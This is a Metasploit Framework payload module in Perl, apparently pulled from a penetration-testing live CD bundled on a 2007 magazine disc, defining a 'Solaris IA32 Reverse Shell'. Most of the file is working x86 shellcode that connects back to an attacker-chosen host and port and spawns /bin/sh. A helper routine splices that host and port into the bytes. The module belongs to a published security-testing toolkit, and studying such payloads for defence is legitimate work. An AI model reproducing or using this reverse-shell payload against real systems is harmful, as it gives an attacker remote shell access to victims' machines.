home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / payloads / solaris_ia32_reverse.pm < prev    next >
Text File  |  2006-06-30  |  2KB  |  71 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Payload::solaris_ia32_reverse;
  11. use strict;
  12. use base 'Msf::PayloadComponent::ReverseConnection';
  13.  
  14. my $info =
  15. {
  16.   'Name'         => 'Solaris IA32 Reverse Shell',
  17.   'Version'      => '$Revision: 1.1 $',
  18.   'Description'  => 'Connect back to attacker and spawn a shell',
  19.   'Authors'      => [ 'bighawk [Unknown License]', ],
  20.   'Arch'         => [ 'x86' ],
  21.   'Priv'         => 0,
  22.   'OS'           => [ 'solaris' ],
  23.   'Size'         => '',
  24. };
  25.  
  26. sub new {
  27.   my $class = shift;
  28.   my $hash = @_ ? shift : { };
  29.   $hash = $class->MergeHashRec($hash, {'Info' => $info});
  30.   my $self = $class->SUPER::new($hash, @_);
  31.  
  32.   $self->_Info->{'Size'} = $self->_GenSize;
  33.   return($self);
  34. }
  35.  
  36. sub Build {
  37.   my $self = shift;
  38.   return($self->Generate($self->GetVar('LHOST'), $self->GetVar('LPORT')));
  39. }
  40.  
  41. sub Generate {
  42.   my $self = shift;
  43.   my $host = shift;
  44.   my $port = shift;
  45.   my $off_host = 32;
  46.   my $off_port = 38;
  47.  
  48.   my $shellcode = # solaris reverse connect by bighawk
  49.   "\xb8\xff\xf8\xff\x3c\xf7\xd0\x50\x31\xc0\xb0\x9a\x50\x89\xe5\x31".
  50.   "\xc9\x51\x41\x41\x51\x51\xb0\xe6\xff\xd5\x31\xd2\x89\xc7\x68\x93".
  51.   "\x93\x93\x93\x66\x68\x93\x93\x66\x51\x89\xe6\x6a\x10\x56\x57\xb0".
  52.   "\xeb\xff\xd5\x31\xd2\xb2\x09\x51\x52\x57\xb0\x3e\xff\xd5\x49\x79".
  53.   "\xf2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53".
  54.   "\x89\xe2\x50\x52\x53\xb0\x3b\xff\xd5";
  55.  
  56.   my $host_bin = gethostbyname($host);
  57.   my $port_bin = pack('n', $port);
  58.  
  59.   substr($shellcode, $off_host - 1, 4, $host_bin);
  60.   substr($shellcode, $off_port - 1, 2, $port_bin);
  61.   return($shellcode);
  62. }
  63.  
  64. sub _GenSize {
  65.   my $self = shift;
  66.   my $bin = $self->Generate('127.0.0.1', '4444');
  67.   return(length($bin));
  68. }
  69.  
  70. 1;
  71.